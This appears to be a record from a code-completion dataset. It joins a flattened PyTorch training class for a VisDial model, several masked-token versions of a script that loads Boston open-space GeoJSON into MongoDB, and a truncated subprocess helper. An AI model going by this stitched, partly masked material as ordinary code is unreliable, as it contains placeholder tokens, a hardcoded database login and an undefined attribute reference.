self.optimizer.load_state_dict(optimizer_state_dict) self.previous_model_path = self.hparams.load_pthpath print('Loaded model from {}'.format(self.hparams.load_pthpath)) print( """ # ------------------------------------------------------------------------- # Setup Training Finished # ------------------------------------------------------------------------- """ ) def _loss_fn(self, epoch, batch, output): target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[ 'ans_out'] batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device)) return batch_loss def train(self): self._build_dataloader() self._build_model() self._setup_training() evaluation = Evaluation(self.hparams, model=self.model, split='val') global_iteration_step = (self.start_epoch - 1) * self.iterations running_loss = 0.0 train_begin = datetime.utcnow() print( """ # ------------------------------------------------------------------------- # Model Train Starts (NEW) # ------------------------------------------------------------------------- """ ) for epoch in range(self.start_epoch, self.hparams.num_epochs): self.model.train() combined_dataloader = itertools.chain(self.train_dataloader) print(f'\nTraining for epoch {epoch}:', 'Total Iter:', self. iterations) tqdm_batch_iterator = tqdm(combined_dataloader) accumulate_batch = 0 for i, batch in enumerate(tqdm_batch_iterator): buffer_batch = batch.copy() for key in batch: buffer_batch[key] = buffer_batch[key].to(self.device) output = self.model(buffer_batch) batch_loss = self._loss_fn(epoch, batch, output) batch_loss.backward() accumulate_batch += batch['img_ids'].shape[0] if (self.hparams.virtual_batch_size == accumulate_batch or i == len(self.train_dataset) // self.hparams. train_batch_size): self.optimizer.step() if running_loss > 0.0: running_loss = (0.95 * running_loss + 0.05 * batch_loss.item()) else: running_loss = batch_loss.item() self.optimizer.zero_grad() accumulate_batch = 0 self.scheduler.step(global_iteration_step) global_iteration_step += 1 description = ( '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]' .format(datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self.optimizer .param_groups[0]['lr'])) tqdm_batch_iterator.set_description(description) if (global_iteration_step % self.hparams. tensorboard_step == 0): description = ( '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]' .format(datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self. optimizer.param_groups[0]['lr'])) self._logger.info(description) self.summary_writer.add_scalar('train/loss', batch_loss, global_iteration_step) self.summary_writer.add_scalar('train/lr', self. optimizer.param_groups[0]['lr'], global_iteration_step) self.checkpoint_manager.step(epoch) self.previous_model_path = os.path.join(self.checkpoint_manager .ckpt_dirpath, 'checkpoint_%d.pth' % epoch) self._logger.info(self.previous_model_path) if (epoch < self.hparams.num_epochs - 1 and self.hparams. dataset_version == '0.9'): continue torch.cuda.empty_cache() evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer, os.path.join( self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' % epoch)) torch.cuda.empty_cache() return self.previous_model_path
import os os.environ['CUDA_VISIBLE_DEVICES'] = '0,1' import logging import itertools import torch from torch import nn, optim from torch.optim import lr_scheduler from torch.utils.data import DataLoader from torch.utils.tensorboard import SummaryWriter from tqdm import tqdm from setproctitle import setproctitle from bisect import bisect from datetime import datetime import numpy as np from data.dataset import VisDialDataset from visdial.encoders import Encoder from visdial.decoders import Decoder from visdial.model import EncoderDecoderModel from visdial.utils.checkpointing import CheckpointManager, load_checkpoint from single_evaluation import Evaluation class MVAN(object): def __init__(self, hparams): self.hparams = hparams self._logger = logging.getLogger(__name__) np.random.seed(hparams.random_seed[0]) torch.manual_seed(hparams.random_seed[0]) torch.cuda.manual_seed_all(hparams.random_seed[0]) torch.backends.cudnn.benchmark = False torch.backends.cudnn.deterministic = True self.device = torch.device('cuda', self.hparams.gpu_ids[0] ) if self.hparams.gpu_ids[0] >= 0 else torch.device('cpu') setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0])) def _build_dataloader(self): old_split = 'train' if self.hparams.dataset_version == '0.9' else None self.train_dataset = VisDialDataset(self.hparams, overfit=self. hparams.overfit, split='train', old_split=old_split) collate_fn = None if 'dan' in self.hparams.img_feature_type: collate_fn = self.train_dataset.collate_fn self.train_dataloader = DataLoader(self.train_dataset, batch_size= self.hparams.train_batch_size, num_workers=self.hparams. cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn) print( """ # ------------------------------------------------------------------------- # DATALOADER FINISHED # ------------------------------------------------------------------------- """ ) def _build_model(self): print('\t* Building model...') encoder = Encoder(self.hparams, self.train_dataset.vocabulary) decoder = Decoder(self.hparams, self.train_dataset.vocabulary) print('Encoder: {}'.format(self.hparams.encoder)) print('Decoder: {}'.format(self.hparams.decoder)) if self.hparams.glove_npy != '': encoder.word_embed.weight.data = torch.from_numpy(np.load(self. hparams.glove_npy)) print('Loaded glove vectors from {}'.format(self.hparams.glove_npy) ) decoder.word_embed = encoder.word_embed self.model = EncoderDecoderModel(encoder, decoder) self.model = self.model.to(self.device) if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1: self.model = nn.DataParallel(self.model, self.hparams.gpu_ids) if 'disc' in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss() elif 'gen' in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss(ignore_index=self. train_dataset.vocabulary.PAD_INDEX) if self.hparams.training_splits == 'trainval': self.iterations = (len(self.train_dataset) + len(self. valid_dataset)) // self.hparams.virtual_batch_size else: self.iterations = len(self.train_dataset ) // self.hparams.virtual_batch_size def lr_lambda_fun(current_iteration: int) ->float: """Returns a learning rate multiplier. Till `warmup_epochs`, learning rate linearly increases to `initial_lr`, and then gets multiplied by `lr_gamma` every time a milestone is crossed. """ current_epoch = float(current_iteration) / self.iterations if current_epoch <= self.hparams.warmup_epochs: alpha = current_epoch / float(self.hparams.warmup_epochs) return self.hparams.warmup_factor * (1.0 - alpha) + alpha else: return_val = 1.0 if current_epoch >= self.hparams.lr_milestones[0 ] and current_epoch < self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones, current_epoch) return_val = pow(self.hparams.lr_gamma, idx) elif current_epoch >= self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones2, current_epoch) return_val = self.hparams.lr_gamma * pow(self.hparams. lr_gamma2, idx) return return_val if self.hparams.lr_scheduler == 'LambdaLR': self.optimizer = optim.Adam(self.model.parameters(), lr=self. hparams.initial_lr) self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun) else: raise NotImplementedError print( """ # ------------------------------------------------------------------------- # Model Build Finished # ------------------------------------------------------------------------- """ ) def _setup_training(self): if self.hparams.save_dirpath == 'checkpoints/': self.save_dirpath = os.path.join(self.hparams.root_dir, self. hparams.save_dirpath) self.summary_writer = SummaryWriter(self.save_dirpath) self.checkpoint_manager = CheckpointManager(self.model, self. optimizer, self.save_dirpath, hparams=self.hparams) if self.hparams.load_pthpath == '': self.start_epoch = 1 else: self.start_epoch = int(self.hparams.load_pthpath.split('_')[-1] [:-4]) self.start_epoch += 1 model_state_dict, optimizer_state_dict = load_checkpoint(self. hparams.load_pthpath) if isinstance(self.model, nn.DataParallel): self.model.module.load_state_dict(model_state_dict) else: self.model.load_state_dict(model_state_dict) self.optimizer.load_state_dict(optimizer_state_dict) self.previous_model_path = self.hparams.load_pthpath print('Loaded model from {}'.format(self.hparams.load_pthpath)) print( """ # ------------------------------------------------------------------------- # Setup Training Finished # ------------------------------------------------------------------------- """ ) def _loss_fn(self, epoch, batch, output): target = batch['ans_ind'] if 'disc' in self.hparams.decoder else batch[ 'ans_out'] batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device)) return batch_loss def train(self): self._build_dataloader() self._build_model() self._setup_training() evaluation = Evaluation(self.hparams, model=self.model, split='val') global_iteration_step = (self.start_epoch - 1) * self.iterations running_loss = 0.0 train_begin = datetime.utcnow() print( """ # ------------------------------------------------------------------------- # Model Train Starts (NEW) # ------------------------------------------------------------------------- """ ) for epoch in range(self.start_epoch, self.hparams.num_epochs): self.model.train() combined_dataloader = itertools.chain(self.train_dataloader) print(f'\nTraining for epoch {epoch}:', 'Total Iter:', self. iterations) tqdm_batch_iterator = tqdm(combined_dataloader) accumulate_batch = 0 for i, batch in enumerate(tqdm_batch_iterator): buffer_batch = batch.copy() for key in batch: buffer_batch[key] = buffer_batch[key].to(self.device) output = self.model(buffer_batch) batch_loss = self._loss_fn(epoch, batch, output) batch_loss.backward() accumulate_batch += batch['img_ids'].shape[0] if (self.hparams.virtual_batch_size == accumulate_batch or i == len(self.train_dataset) // self.hparams. train_batch_size): self.optimizer.step() if running_loss > 0.0: running_loss = (0.95 * running_loss + 0.05 * batch_loss.item()) else: running_loss = batch_loss.item() self.optimizer.zero_grad() accumulate_batch = 0 self.scheduler.step(global_iteration_step) global_iteration_step += 1 description = ( '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]' .format(datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self.optimizer .param_groups[0]['lr'])) tqdm_batch_iterator.set_description(description) if (global_iteration_step % self.hparams. tensorboard_step == 0): description = ( '[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]' .format(datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self. optimizer.param_groups[0]['lr'])) self._logger.info(description) self.summary_writer.add_scalar('train/loss', batch_loss, global_iteration_step) self.summary_writer.add_scalar('train/lr', self. optimizer.param_groups[0]['lr'], global_iteration_step) self.checkpoint_manager.step(epoch) self.previous_model_path = os.path.join(self.checkpoint_manager .ckpt_dirpath, 'checkpoint_%d.pth' % epoch) self._logger.info(self.previous_model_path) if (epoch < self.hparams.num_epochs - 1 and self.hparams. dataset_version == '0.9'): continue torch.cuda.empty_cache() evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer, os.path.join( self.checkpoint_manager.ckpt_dirpath, 'ranks_%d_valid.json' % epoch)) torch.cuda.empty_cache() return self.previous_model_path
import os os.environ["CUDA_VISIBLE_DEVICES"] = "0,1" import logging import itertools import torch from torch import nn, optim from torch.optim import lr_scheduler from torch.utils.data import DataLoader from torch.utils.tensorboard import SummaryWriter from tqdm import tqdm from setproctitle import setproctitle from bisect import bisect from datetime import datetime import numpy as np from data.dataset import VisDialDataset from visdial.encoders import Encoder from visdial.decoders import Decoder from visdial.model import EncoderDecoderModel from visdial.utils.checkpointing import CheckpointManager, load_checkpoint from single_evaluation import Evaluation class MVAN(object): def __init__(self, hparams): self.hparams = hparams self._logger = logging.getLogger(__name__) np.random.seed(hparams.random_seed[0]) torch.manual_seed(hparams.random_seed[0]) torch.cuda.manual_seed_all(hparams.random_seed[0]) torch.backends.cudnn.benchmark = False torch.backends.cudnn.deterministic = True self.device = ( torch.device("cuda", self.hparams.gpu_ids[0]) if self.hparams.gpu_ids[0] >= 0 else torch.device("cpu") ) setproctitle(hparams.dataset_version + '_' + hparams.model_name + '_' + str(hparams.random_seed[0])) # def _build_data_process(self): def _build_dataloader(self): # ============================================================================= # SETUP DATASET, DATALOADER # ============================================================================= old_split = "train" if self.hparams.dataset_version == "0.9" else None self.train_dataset = VisDialDataset( self.hparams, overfit=self.hparams.overfit, split="train", old_split = old_split ) collate_fn = None if "dan" in self.hparams.img_feature_type: collate_fn = self.train_dataset.collate_fn self.train_dataloader = DataLoader( self.train_dataset, batch_size=self.hparams.train_batch_size, num_workers=self.hparams.cpu_workers, shuffle=True, drop_last=True, collate_fn=collate_fn, ) print(""" # ------------------------------------------------------------------------- # DATALOADER FINISHED # ------------------------------------------------------------------------- """) def _build_model(self): # ============================================================================= # MODEL : Encoder, Decoder # ============================================================================= print('\t* Building model...') # Pass vocabulary to construct Embedding layer. encoder = Encoder(self.hparams, self.train_dataset.vocabulary) decoder = Decoder(self.hparams, self.train_dataset.vocabulary) print("Encoder: {}".format(self.hparams.encoder)) print("Decoder: {}".format(self.hparams.decoder)) # New: Initializing word_embed using GloVe if self.hparams.glove_npy != '': encoder.word_embed.weight.data = torch.from_numpy(np.load(self.hparams.glove_npy)) print("Loaded glove vectors from {}".format(self.hparams.glove_npy)) # Share word embedding between encoder and decoder. decoder.word_embed = encoder.word_embed # Wrap encoder and decoder in a model. self.model = EncoderDecoderModel(encoder, decoder) self.model = self.model.to(self.device) # Use Multi-GPUs if -1 not in self.hparams.gpu_ids and len(self.hparams.gpu_ids) > 1: self.model = nn.DataParallel(self.model, self.hparams.gpu_ids) # ============================================================================= # CRITERION # ============================================================================= if "disc" in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss() elif "gen" in self.hparams.decoder: self.criterion = nn.CrossEntropyLoss(ignore_index=self.train_dataset.vocabulary.PAD_INDEX) # Total Iterations -> for learning rate scheduler if self.hparams.training_splits == "trainval": self.iterations = (len(self.train_dataset) + len(self.valid_dataset)) // self.hparams.virtual_batch_size else: self.iterations = len(self.train_dataset) // self.hparams.virtual_batch_size # ============================================================================= # OPTIMIZER, SCHEDULER # ============================================================================= def lr_lambda_fun(current_iteration: int) -> float: """Returns a learning rate multiplier. Till `warmup_epochs`, learning rate linearly increases to `initial_lr`, and then gets multiplied by `lr_gamma` every time a milestone is crossed. """ current_epoch = float(current_iteration) / self.iterations if current_epoch <= self.hparams.warmup_epochs: alpha = current_epoch / float(self.hparams.warmup_epochs) return self.hparams.warmup_factor * (1.0 - alpha) + alpha else: return_val = 1.0 if current_epoch >= self.hparams.lr_milestones[0] and current_epoch < self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones, current_epoch) return_val = pow(self.hparams.lr_gamma, idx) elif current_epoch >= self.hparams.lr_milestones2[0]: idx = bisect(self.hparams.lr_milestones2, current_epoch) return_val = self.hparams.lr_gamma * pow(self.hparams.lr_gamma2, idx) return return_val if self.hparams.lr_scheduler == "LambdaLR": self.optimizer = optim.Adam(self.model.parameters(), lr=self.hparams.initial_lr) self.scheduler = lr_scheduler.LambdaLR(self.optimizer, lr_lambda=lr_lambda_fun) else: raise NotImplementedError print( """ # ------------------------------------------------------------------------- # Model Build Finished # ------------------------------------------------------------------------- """ ) def _setup_training(self): if self.hparams.save_dirpath == 'checkpoints/': self.save_dirpath = os.path.join(self.hparams.root_dir, self.hparams.save_dirpath) self.summary_writer = SummaryWriter(self.save_dirpath) self.checkpoint_manager = CheckpointManager( self.model, self.optimizer, self.save_dirpath, hparams=self.hparams ) # If loading from checkpoint, adjust start epoch and load parameters. if self.hparams.load_pthpath == "": self.start_epoch = 1 else: # "path/to/checkpoint_xx.pth" -> xx self.start_epoch = int(self.hparams.load_pthpath.split("_")[-1][:-4]) self.start_epoch += 1 model_state_dict, optimizer_state_dict = load_checkpoint(self.hparams.load_pthpath) if isinstance(self.model, nn.DataParallel): self.model.module.load_state_dict(model_state_dict) else: self.model.load_state_dict(model_state_dict) self.optimizer.load_state_dict(optimizer_state_dict) self.previous_model_path = self.hparams.load_pthpath print("Loaded model from {}".format(self.hparams.load_pthpath)) print( """ # ------------------------------------------------------------------------- # Setup Training Finished # ------------------------------------------------------------------------- """ ) def _loss_fn(self, epoch, batch, output): target = (batch["ans_ind"] if "disc" in self.hparams.decoder else batch["ans_out"]) batch_loss = self.criterion(output.view(-1, output.size(-1)), target.view(-1).to(self.device)) return batch_loss def train(self): self._build_dataloader() self._build_model() self._setup_training() # Evaluation Setup evaluation = Evaluation(self.hparams, model=self.model, split="val") # Forever increasing counter to keep track of iterations (for tensorboard log). global_iteration_step = (self.start_epoch - 1) * self.iterations running_loss = 0.0 # New train_begin = datetime.utcnow() # New print( """ # ------------------------------------------------------------------------- # Model Train Starts (NEW) # ------------------------------------------------------------------------- """ ) for epoch in range(self.start_epoch, self.hparams.num_epochs): self.model.train() # ------------------------------------------------------------------------- # ON EPOCH START (combine dataloaders if training on train + val) # ------------------------------------------------------------------------- combined_dataloader = itertools.chain(self.train_dataloader) print(f"\nTraining for epoch {epoch}:", "Total Iter:", self.iterations) tqdm_batch_iterator = tqdm(combined_dataloader) accumulate_batch = 0 # taesun New for i, batch in enumerate(tqdm_batch_iterator): buffer_batch = batch.copy() for key in batch: buffer_batch[key] = buffer_batch[key].to(self.device) output = self.model(buffer_batch) batch_loss = self._loss_fn(epoch, batch, output) batch_loss.backward() accumulate_batch += batch["img_ids"].shape[0] if self.hparams.virtual_batch_size == accumulate_batch \ or i == (len(self.train_dataset) // self.hparams.train_batch_size): # last batch self.optimizer.step() # -------------------------------------------------------------------- # Update running loss and decay learning rates # -------------------------------------------------------------------- if running_loss > 0.0: running_loss = 0.95 * running_loss + 0.05 * batch_loss.item() else: running_loss = batch_loss.item() self.optimizer.zero_grad() accumulate_batch = 0 self.scheduler.step(global_iteration_step) global_iteration_step += 1 # torch.cuda.empty_cache() description = "[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]".format( datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self.optimizer.param_groups[0]['lr']) tqdm_batch_iterator.set_description(description) # tensorboard if global_iteration_step % self.hparams.tensorboard_step == 0: description = "[{}][Epoch: {:3d}][Iter: {:6d}][Loss: {:6f}][lr: {:7f}]".format( datetime.utcnow() - train_begin, epoch, global_iteration_step, running_loss, self.optimizer.param_groups[0]['lr'], ) self._logger.info(description) # tensorboard writing scalar self.summary_writer.add_scalar( "train/loss", batch_loss, global_iteration_step ) self.summary_writer.add_scalar( "train/lr", self.optimizer.param_groups[0]["lr"], global_iteration_step ) # ------------------------------------------------------------------------- # ON EPOCH END (checkpointing and validation) # ------------------------------------------------------------------------- self.checkpoint_manager.step(epoch) self.previous_model_path = os.path.join(self.checkpoint_manager.ckpt_dirpath, "checkpoint_%d.pth" % (epoch)) self._logger.info(self.previous_model_path) if epoch < self.hparams.num_epochs - 1 and self.hparams.dataset_version == '0.9': continue torch.cuda.empty_cache() evaluation.run_evaluate(self.previous_model_path, global_iteration_step, self.summary_writer, os.path.join(self.checkpoint_manager.ckpt_dirpath, "ranks_%d_valid.json" % epoch)) torch.cuda.empty_cache() return self.previous_model_path
[ 4, 7, 8, 9, 10 ]
9,914
2c82dd33180a7442607e5cbedf8846bd72b37150
<mask token> class retrieve_open_space(dml.Algorithm): <mask token> <mask token> <mask token> <mask token> <mask token>
<mask token> class retrieve_open_space(dml.Algorithm): <mask token> <mask token> <mask token> @staticmethod def execute(trial=False, log=False): """Retrieves open spaces in Boston as geoJSON""" startTime = datetime.datetime.now() client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') repo.dropCollection('open_space') repo.createCollection('open_space') url = ( 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson' ) response = urllib.request.urlopen(url).read().decode('utf-8') gj = geojson.loads(response) geoDict = dict(gj) geoList = geoDict['features'] repo['bmroach.open_space'].insert_many(geoList) repo['bmroach.open_space'].metadata({'complete': True}) repo.logout() endTime = datetime.datetime.now() return {'start': startTime, 'end': endTime} @staticmethod def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None ): """ Create the provenance document describing everything happening in this script. Each run of the script will generate a new document describing that invocation event. """ client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') doc.add_namespace('dat', 'http://datamechanics.io/data/') doc.add_namespace('ont', 'http://datamechanics.io/ontology#') doc.add_namespace('log', 'http://datamechanics.io/log/') doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/') this_script = doc.agent('alg:bmroach#open_space', {prov.model. PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'} ) resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', { 'prov:label': '311, Service Requests', prov.model.PROV_TYPE: 'ont:DataResource', 'ont:Extension': 'geojson'}) get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime) doc.wasAssociatedWith(get_open_space, this_script) doc.usage(get_open_space, resource, startTime, None, {prov.model. PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''}) open_space = doc.entity('dat:bmroach#open_space', {prov.model. PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'}) doc.wasAttributedTo(open_space, this_script) doc.wasGeneratedBy(open_space, get_open_space, endTime) doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space) repo.logout() return doc
<mask token> class retrieve_open_space(dml.Algorithm): contributor = 'bmroach' reads = [] writes = ['bmroach.open_space'] @staticmethod def execute(trial=False, log=False): """Retrieves open spaces in Boston as geoJSON""" startTime = datetime.datetime.now() client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') repo.dropCollection('open_space') repo.createCollection('open_space') url = ( 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson' ) response = urllib.request.urlopen(url).read().decode('utf-8') gj = geojson.loads(response) geoDict = dict(gj) geoList = geoDict['features'] repo['bmroach.open_space'].insert_many(geoList) repo['bmroach.open_space'].metadata({'complete': True}) repo.logout() endTime = datetime.datetime.now() return {'start': startTime, 'end': endTime} @staticmethod def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None ): """ Create the provenance document describing everything happening in this script. Each run of the script will generate a new document describing that invocation event. """ client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') doc.add_namespace('dat', 'http://datamechanics.io/data/') doc.add_namespace('ont', 'http://datamechanics.io/ontology#') doc.add_namespace('log', 'http://datamechanics.io/log/') doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/') this_script = doc.agent('alg:bmroach#open_space', {prov.model. PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'} ) resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', { 'prov:label': '311, Service Requests', prov.model.PROV_TYPE: 'ont:DataResource', 'ont:Extension': 'geojson'}) get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime) doc.wasAssociatedWith(get_open_space, this_script) doc.usage(get_open_space, resource, startTime, None, {prov.model. PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''}) open_space = doc.entity('dat:bmroach#open_space', {prov.model. PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'}) doc.wasAttributedTo(open_space, this_script) doc.wasGeneratedBy(open_space, get_open_space, endTime) doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space) repo.logout() return doc
import urllib.request import json import dml, prov.model import datetime, uuid import geojson <mask token> class retrieve_open_space(dml.Algorithm): contributor = 'bmroach' reads = [] writes = ['bmroach.open_space'] @staticmethod def execute(trial=False, log=False): """Retrieves open spaces in Boston as geoJSON""" startTime = datetime.datetime.now() client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') repo.dropCollection('open_space') repo.createCollection('open_space') url = ( 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson' ) response = urllib.request.urlopen(url).read().decode('utf-8') gj = geojson.loads(response) geoDict = dict(gj) geoList = geoDict['features'] repo['bmroach.open_space'].insert_many(geoList) repo['bmroach.open_space'].metadata({'complete': True}) repo.logout() endTime = datetime.datetime.now() return {'start': startTime, 'end': endTime} @staticmethod def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None ): """ Create the provenance document describing everything happening in this script. Each run of the script will generate a new document describing that invocation event. """ client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') doc.add_namespace('dat', 'http://datamechanics.io/data/') doc.add_namespace('ont', 'http://datamechanics.io/ontology#') doc.add_namespace('log', 'http://datamechanics.io/log/') doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/') this_script = doc.agent('alg:bmroach#open_space', {prov.model. PROV_TYPE: prov.model.PROV['SoftwareAgent'], 'ont:Extension': 'py'} ) resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', { 'prov:label': '311, Service Requests', prov.model.PROV_TYPE: 'ont:DataResource', 'ont:Extension': 'geojson'}) get_open_space = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime) doc.wasAssociatedWith(get_open_space, this_script) doc.usage(get_open_space, resource, startTime, None, {prov.model. PROV_TYPE: 'ont:Retrieval', 'ont:Query': ''}) open_space = doc.entity('dat:bmroach#open_space', {prov.model. PROV_LABEL: 'open_space', prov.model.PROV_TYPE: 'ont:DataSet'}) doc.wasAttributedTo(open_space, this_script) doc.wasGeneratedBy(open_space, get_open_space, endTime) doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space) repo.logout() return doc
import urllib.request import json import dml, prov.model import datetime, uuid import geojson # import csv """ Skelton file provided by [email protected] Heavily modified by [email protected] City of Boston Open Spaces (Like parks, etc) Development notes: """ class retrieve_open_space(dml.Algorithm): contributor = 'bmroach' reads = [] writes = ['bmroach.open_space'] @staticmethod def execute(trial = False, log=False): '''Retrieves open spaces in Boston as geoJSON''' startTime = datetime.datetime.now() # Set up the database connection. client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') # Do retrieving of data repo.dropCollection("open_space") repo.createCollection("open_space") url = 'http://bostonopendata-boston.opendata.arcgis.com/datasets/2868d370c55d4d458d4ae2224ef8cddd_7.geojson' response = urllib.request.urlopen(url).read().decode("utf-8") gj = geojson.loads(response) geoDict = dict(gj) geoList = geoDict['features'] repo['bmroach.open_space'].insert_many( geoList ) repo['bmroach.open_space'].metadata({'complete':True}) repo.logout() endTime = datetime.datetime.now() return {"start":startTime, "end":endTime} @staticmethod def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None): ''' Create the provenance document describing everything happening in this script. Each run of the script will generate a new document describing that invocation event. ''' client = dml.pymongo.MongoClient() repo = client.repo repo.authenticate('bmroach', 'bmroach') doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in <folder>#<filename> format. doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in <user>#<collection> format. doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'. doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log. doc.add_namespace('ops', 'http://bostonopendata-boston.opendata.arcgis.com/datasets/') this_script = doc.agent('alg:bmroach#open_space', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'}) resource = doc.entity('ops:2868d370c55d4d458d4ae2224ef8cddd_7', {'prov:label':'311, Service Requests', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'geojson'}) get_open_space = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime) doc.wasAssociatedWith(get_open_space, this_script) doc.usage(get_open_space,resource, startTime, None, {prov.model.PROV_TYPE:'ont:Retrieval', 'ont:Query':'' } ) open_space = doc.entity('dat:bmroach#open_space', {prov.model.PROV_LABEL:'open_space', prov.model.PROV_TYPE:'ont:DataSet'}) doc.wasAttributedTo(open_space, this_script) doc.wasGeneratedBy(open_space, get_open_space, endTime) doc.wasDerivedFrom(open_space, resource, get_open_space, get_open_space, get_open_space) repo.logout() return doc # retrieve_open_space.execute() # doc = retrieve_open_space.provenance() # print(doc.get_provn()) # print(json.dumps(json.loads(doc.serialize()), indent=4)) ## eof
[ 1, 3, 4, 5, 6 ]
9,915
7f220a970d65a91228501f7db59089e6c0604fb5
<mask token> def wait_condition(cond, timeout=1, sleeptime=0.01): """Wait for condition to return anything other than None """ if timeout is None: timeout = 1 if timeout < sleeptime: print('Warning, timeout cannot be smaller than', sleeptime) timeout = sleeptime tries = int(timeout / sleeptime) for i in range(tries): val = cond() if val is not None: break sleep(sleeptime) return val <mask token> def _queue_output(arguments, pidq, outputq): """Read/Write output/input of given process. This function is meant to be executed in a thread as it may block """ kwargs = arguments['process'] input = arguments['input'] try: proc = Popen(**kwargs) except OSError as e: pidq.put(None) outputq.put(('', "Unexpected exception caught during execution: '{0}' . ".format (e), 255)) return pidq.put(proc.pid) out, err = proc.communicate(input) out, err = out.decode('utf-8'), err.decode('utf-8') outputq.put((out, err, proc.returncode)) def _retrieve_output(thread, timeout, queue, thread_error): """Fetch output from binary subprocess queues """ thread.join(timeout) if thread.isAlive(): raise TimeoutWaitingFor(thread_error + '. Unexpected error') try: data = queue.get(timeout=timeout) except Empty: data = TimeoutWaitingFor('streams from program') return data def _get_output(arguments, timeout=None): """Collect output from the subprocess without blocking the main process if subprocess hangs. """ output_timeout = 0.1 pidq = Queue() outputq = Queue() t = Thread(target=_queue_output, args=(arguments, pidq, outputq)) t.daemon = True t.start() try: pid = pidq.get(timeout=timeout) except Empty: pid = None if pid is None: return _retrieve_output(t, output_timeout, outputq, 'Program to start') state = wait_process(pid, timeout) if state: return _retrieve_output(t, output_timeout, outputq, 'Program thread to join') for sig in (signal.SIGABRT, signal.SIGTERM, signal.SIGKILL): try: os.kill(pid, signal.SIGABRT) except OSError as e: if e.errno != 3: raise state = wait_process(pid, timeout) if state: return _retrieve_output(t, output_timeout, outputq, 'Program to die') raise OSError("Program stopped responding and couldn't be killed") def run_cmd_wait(cmd, input=None, stdout=PIPE, stderr=PIPE, merge_streams= False, env=os.environ, timeout=None): """Run a subprocess and wait for it to finish""" if input is None: stdin = None else: stdin = PIPE if merge_streams: stderr = STDOUT else: stderr = PIPE arguments = {'process': {'args': cmd, 'stdin': stdin, 'stdout': stdout, 'stderr': stderr, 'bufsize': 1, 'close_fds': ON_POSIX, 'env': env}, 'input': input} out, err, exit = _get_output(arguments, 